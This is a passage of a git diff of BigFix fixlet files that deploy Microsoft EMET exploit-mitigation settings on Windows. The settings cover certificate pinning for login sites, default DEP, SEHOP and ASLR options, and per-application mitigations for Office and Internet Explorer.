+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint E621F3354379059A4B68309D8A2F74221587EC79</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>E621F3354379059A4B68309D8A2F74221587EC79</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 204285DCF7EB764195578E136BD4B7D1E98E46A5</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>204285DCF7EB764195578E136BD4B7D1E98E46A5</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 61EF43D77FCAD46151BC98E0C35912AF9FEB6311</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>61EF43D77FCAD46151BC98E0C35912AF9FEB6311</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>Certificate not in current root store</Issuer>
+            <SerialNumber>Thumbprint 85371CA6E550143DCE2803471BDE3A09E8F8770F</SerialNumber>
+            <PublicKeyHash>Certificate not in current root store</PublicKeyHash>
+            <Thumbprint>85371CA6E550143DCE2803471BDE3A09E8F8770F</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G3, OU="(c) 1999 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>009B7E0649A33E62B9D5EE90487129EF57</SerialNumber>
+            <PublicKeyHash>F0115C20ABF0D0FE3D0842EF9571E372C11C1256</PublicKeyHash>
+            <Thumbprint>132D0D45534B6997CDB2D5C339E25576609B5CC6</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Class 3 Public Primary Certification Authority - G5, OU="(c) 2006 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>18DAD19E267DE8BB4A2158CDCC6B3B4A</SerialNumber>
+            <PublicKeyHash>7FD365A7C2DDECBBF03009F34339FA02AF333133</PublicKeyHash>
+            <Thumbprint>4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5</Thumbprint>
+          </UniqueCertificateIdentifier>
+          <UniqueCertificateIdentifier>
+            <Issuer>CN=VeriSign Universal Root Certification Authority, OU="(c) 2008 VeriSign, Inc. - For authorized use only", OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US</Issuer>
+            <SerialNumber>401AC46421B31321030EBBE4121AC51D</SerialNumber>
+            <PublicKeyHash>B677FA6948479F5312D5C2EA07327607D1970719</PublicKeyHash>
+            <Thumbprint>3679CA35668772304D30A5FB873B0FA77BB70D54</Thumbprint>
+          </UniqueCertificateIdentifier>
+        </ReferencedCertificates>
+        <Expiration>09/01/2017 00:00:00</Expiration>
+      </PinRule>
+    </PinRules>
+    <PinnedSites>
+      <PinnedSite>
+        <Domain>login.microsoftonline.com</Domain>
+        <PinRuleMember>{{7c7b8b00-ea88-423c-9635-d4f92159aae7}</PinRuleMember>
+        <Active>True</Active>
+      </PinnedSite>
+      <PinnedSite>
+        <Domain>secure.skype.com</Domain>
+        <PinRuleMember>{{7c7b8b00-ea88-423c-9635-d4f92159aae7}</PinRuleMember>
+        <Active>True</Active>
+      </PinnedSite>
+      <PinnedSite>
+        <Domain>www.facebook.com</Domain>
+        <PinRuleMember>{{cb1e584f-4ad0-4c6f-9239-317d4a07d24c}</PinRuleMember>
+        <Active>True</Active>
+      </PinnedSite>
+      <PinnedSite>
+        <Domain>login.yahoo.com</Domain>
+        <PinRuleMember>{{1d1e83d9-f876-49ab-bbd6-14c3c7dd6338}</PinRuleMember>
+        <Active>True</Active>
+      </PinnedSite>
+      <PinnedSite>
+        <Domain>login.live.com</Domain>
+        <PinRuleMember>{{7c7b8b00-ea88-423c-9635-d4f92159aae7}</PinRuleMember>
+        <Active>True</Active>
+      </PinnedSite>
+      <PinnedSite>
+        <Domain>login.skype.com</Domain>
+        <PinRuleMember>{{7c7b8b00-ea88-423c-9635-d4f92159aae7}</PinRuleMember>
+        <Active>True</Active>
+      </PinnedSite>
+      <PinnedSite>
+        <Domain>twitter.com</Domain>
+        <PinRuleMember>{{d9766177-1512-4c48-84e5-e95e44663eed}</PinRuleMember>
+        <Active>True</Active>
+      </PinnedSite>
+    </PinnedSites>
+  </Pinning>
+</EMET>
+_end_
+
+move __createfile defaults.xml
+
+waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Default Mitigation Actions - Windows (20802).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Default Mitigation Actions - Windows (20802).bes
index d0b006bef..d7e4b14ae 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Default Mitigation Actions - Windows (20802).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Default Mitigation Actions - Windows (20802).bes	
@@ -1,62 +1,62 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - EMET Rules - Enable Default Mitigation Actions - Windows
-  ID       : 20802
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-06-07T06:30:49
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - EMET Rules - Enable Default Mitigation Actions - Windows</Title>
-    <Description><![CDATA[<P>This policy sets the default mitigations and actions within EMET. Specifically it configures EMET to do the following:</P>
-<P><STRONG>Exploit Action:<BR></STRONG>Kill program on exploit detection</P>
-<P><STRONG>Advanced Settings:<BR></STRONG>Enable DeepHook, AntiDetours, and BannedFunction settings</P>
-<P><STRONG>Reporting:<BR></STRONG>Report Telemetry<BR>Show Tray Icon<BR>Log to Event log</P>
-<P><STRONG>Mitigations</STRONG>:<BR>Application Opt In to DEP<BR>Application Opt In to SEHOP<BR>Application Opt In to ASLR<BR>Enable Certificate Pinning<BR>Audit Untrusted Font Detection</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
-    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
-    <Relevance>((value &quot;AntiDetours&quot; of it != 1 or value &quot;BannedFunctions&quot; of it != 1 or value &quot;DeepHooks&quot; of it != 1 or value &quot;ExploitAction&quot; of it != 1 or value &quot;ReportingSettings&quot; of it != 7) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry) | true</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-
-parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
-
-delete __createfile
-delete defaults.xml
-
-createfile until _end_
-<?xml version="1.0"?>
-<EMET Version="5.5.5871.31890">
-  <Settings>
-    <ExploitAction Value="StopProgram" />
-    <AdvancedSettings DeepHooks="True" AntiDetours="True" BannedFunctions="True" />
-    <Reporting Telemetry="True" TrayIcon="True" EventLog="True" />
-    <SystemSettings DEP="Application Opt In" SEHOP="Application Opt In" ASLR="Application Opt In" Pinning="Enabled" Fonts="Audit" />
-  </Settings>
-</EMET>
-_end_
-
-move __createfile defaults.xml
-
-waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - EMET Rules - Enable Default Mitigation Actions - Windows
+  ID       : 20802
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-06-07T06:30:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - EMET Rules - Enable Default Mitigation Actions - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the default mitigations and actions within EMET. Specifically it configures EMET to do the following:</P>
+<P><STRONG>Exploit Action:<BR></STRONG>Kill program on exploit detection</P>
+<P><STRONG>Advanced Settings:<BR></STRONG>Enable DeepHook, AntiDetours, and BannedFunction settings</P>
+<P><STRONG>Reporting:<BR></STRONG>Report Telemetry<BR>Show Tray Icon<BR>Log to Event log</P>
+<P><STRONG>Mitigations</STRONG>:<BR>Application Opt In to DEP<BR>Application Opt In to SEHOP<BR>Application Opt In to ASLR<BR>Enable Certificate Pinning<BR>Audit Untrusted Font Detection</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
+    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
+    <Relevance>((value &quot;AntiDetours&quot; of it != 1 or value &quot;BannedFunctions&quot; of it != 1 or value &quot;DeepHooks&quot; of it != 1 or value &quot;ExploitAction&quot; of it != 1 or value &quot;ReportingSettings&quot; of it != 7) of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET&quot; of native registry) | true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
+
+delete __createfile
+delete defaults.xml
+
+createfile until _end_
+<?xml version="1.0"?>
+<EMET Version="5.5.5871.31890">
+  <Settings>
+    <ExploitAction Value="StopProgram" />
+    <AdvancedSettings DeepHooks="True" AntiDetours="True" BannedFunctions="True" />
+    <Reporting Telemetry="True" TrayIcon="True" EventLog="True" />
+    <SystemSettings DEP="Application Opt In" SEHOP="Application Opt In" ASLR="Application Opt In" Pinning="Enabled" Fonts="Audit" />
+  </Settings>
+</EMET>
+_end_
+
+move __createfile defaults.xml
+
+waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Microsoft Application Mitigations - Windows (20803).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Microsoft Application Mitigations - Windows (20803).bes
index 7d0e82b6d..1a14ff101 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Microsoft Application Mitigations - Windows (20803).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Microsoft Application Mitigations - Windows (20803).bes	
@@ -1,316 +1,316 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - EMET Rules - Enable Microsoft Application Mitigations - Windows
-  ID       : 20803
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-06-07T06:31:01
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - EMET Rules - Enable Microsoft Application Mitigations - Windows</Title>
-    <Description><![CDATA[<P>This policy sets the default application mitigations for various Microsoft applications within EMET.</P>
-<P>Specifically it configures EMET to detect exploits for the following applications:</P>
-<UL>
-<LI>Access</LI>
-<LI>Excel</LI>
-<LI>InfoPath</LI>
-<LI>Internet Explorer</LI>
-<LI>Lync</LI>
-<LI>Outlook</LI>
-<LI>PowerPoint</LI>
-<LI>Publisher</LI>
-<LI>Visio</LI>
-<LI>Word</LI>
-<LI>WordPad</LI></UL>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
-    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
-    <Relevance>(size of ((set of (&quot;*\Internet Explorer\iexplore.exe&quot;;&quot;*\Windows NT\Accessories\wordpad.exe&quot;;&quot;*\OFFICE1*\OUTLOOK.EXE&quot;;&quot;*\OFFICE1*\WINWORD.EXE&quot;;&quot;*\OFFICE1*\EXCEL.EXE&quot;;&quot;*\OFFICE1*\POWERPNT.EXE&quot;;&quot;*\OFFICE1*\MSACCESS.EXE&quot;;&quot;*\OFFICE1*\MSPUB.EXE&quot;;&quot;*\OFFICE1*\INFOPATH.EXE&quot;;&quot;*\OFFICE1*\VISIO.EXE&quot;;&quot;*\OFFICE1*\VPREVIEW.EXE&quot;;&quot;*\OFFICE1*\LYNC.EXE&quot;;&quot;*\OFFICE1*\PPTVIEW.EXE&quot;;&quot;*\OFFICE1*\OIS.EXE&quot;) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) != 0) | true</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-
-parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
-
-delete __createfile
-delete defaults.xml
-
-createfile until _end_
-<?xml version="1.0"?>
-<EMET Version="5.5.5871.31890">
-  <EMET_Apps>
-    <AppConfig Path="*\Internet Explorer" Executable="iexplore.exe">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="true" />
-      <Mitigation Name="EAF+" Enabled="true">
-        <eaf_modules>mshtml.dll;flash*.ocx;jscript*.dll;vbscript.dll;vgx.dll</eaf_modules>
-      </Mitigation>
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="true">
-        <asr_modules>npjpi*.dll;jp2iexp.dll;vgx.dll;msxml4*.dll;wshom.ocx;scrrun.dll;vbscript.dll</asr_modules>
-        <asr_zones>1;2</asr_zones>
-      </Mitigation>
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\Windows NT\Accessories" Executable="wordpad.exe">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="true" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="OUTLOOK.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="true" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="WINWORD.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="true" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="true">
-        <asr_modules>flash*.ocx</asr_modules>
-      </Mitigation>
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="EXCEL.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="true" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="true">
-        <asr_modules>flash*.ocx</asr_modules>
-      </Mitigation>
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="POWERPNT.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="true" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="true">
-        <asr_modules>flash*.ocx</asr_modules>
-      </Mitigation>
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="MSACCESS.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="true" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="MSPUB.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="true" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="INFOPATH.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="true" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="VISIO.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="true" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="VPREVIEW.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="true" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="LYNC.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="true" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="PPTVIEW.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="true" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-    <AppConfig Path="*\OFFICE1*" Executable="OIS.EXE">
-      <Mitigation Name="DEP" Enabled="true" />
-      <Mitigation Name="SEHOP" Enabled="true" />
-      <Mitigation Name="NullPage" Enabled="true" />
-      <Mitigation Name="HeapSpray" Enabled="true" />
-      <Mitigation Name="EAF" Enabled="true" />
-      <Mitigation Name="EAF+" Enabled="false" />
-      <Mitigation Name="MandatoryASLR" Enabled="true" />
-      <Mitigation Name="BottomUpASLR" Enabled="true" />
-      <Mitigation Name="LoadLib" Enabled="true" />
-      <Mitigation Name="MemProt" Enabled="true" />
-      <Mitigation Name="Caller" Enabled="true" />
-      <Mitigation Name="SimExecFlow" Enabled="true" />
-      <Mitigation Name="StackPivot" Enabled="true" />
-      <Mitigation Name="ASR" Enabled="false" />
-      <Mitigation Name="Fonts" Enabled="false" />
-    </AppConfig>
-</EMET_Apps>
-</EMET>
-_end_
-
-move __createfile defaults.xml
-
-waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - EMET Rules - Enable Microsoft Application Mitigations - Windows
+  ID       : 20803
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-06-07T06:31:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - EMET Rules - Enable Microsoft Application Mitigations - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the default application mitigations for various Microsoft applications within EMET.</P>
+<P>Specifically it configures EMET to detect exploits for the following applications:</P>
+<UL>
+<LI>Access</LI>
+<LI>Excel</LI>
+<LI>InfoPath</LI>
+<LI>Internet Explorer</LI>
+<LI>Lync</LI>
+<LI>Outlook</LI>
+<LI>PowerPoint</LI>
+<LI>Publisher</LI>
+<LI>Visio</LI>
+<LI>Word</LI>
+<LI>WordPad</LI></UL>
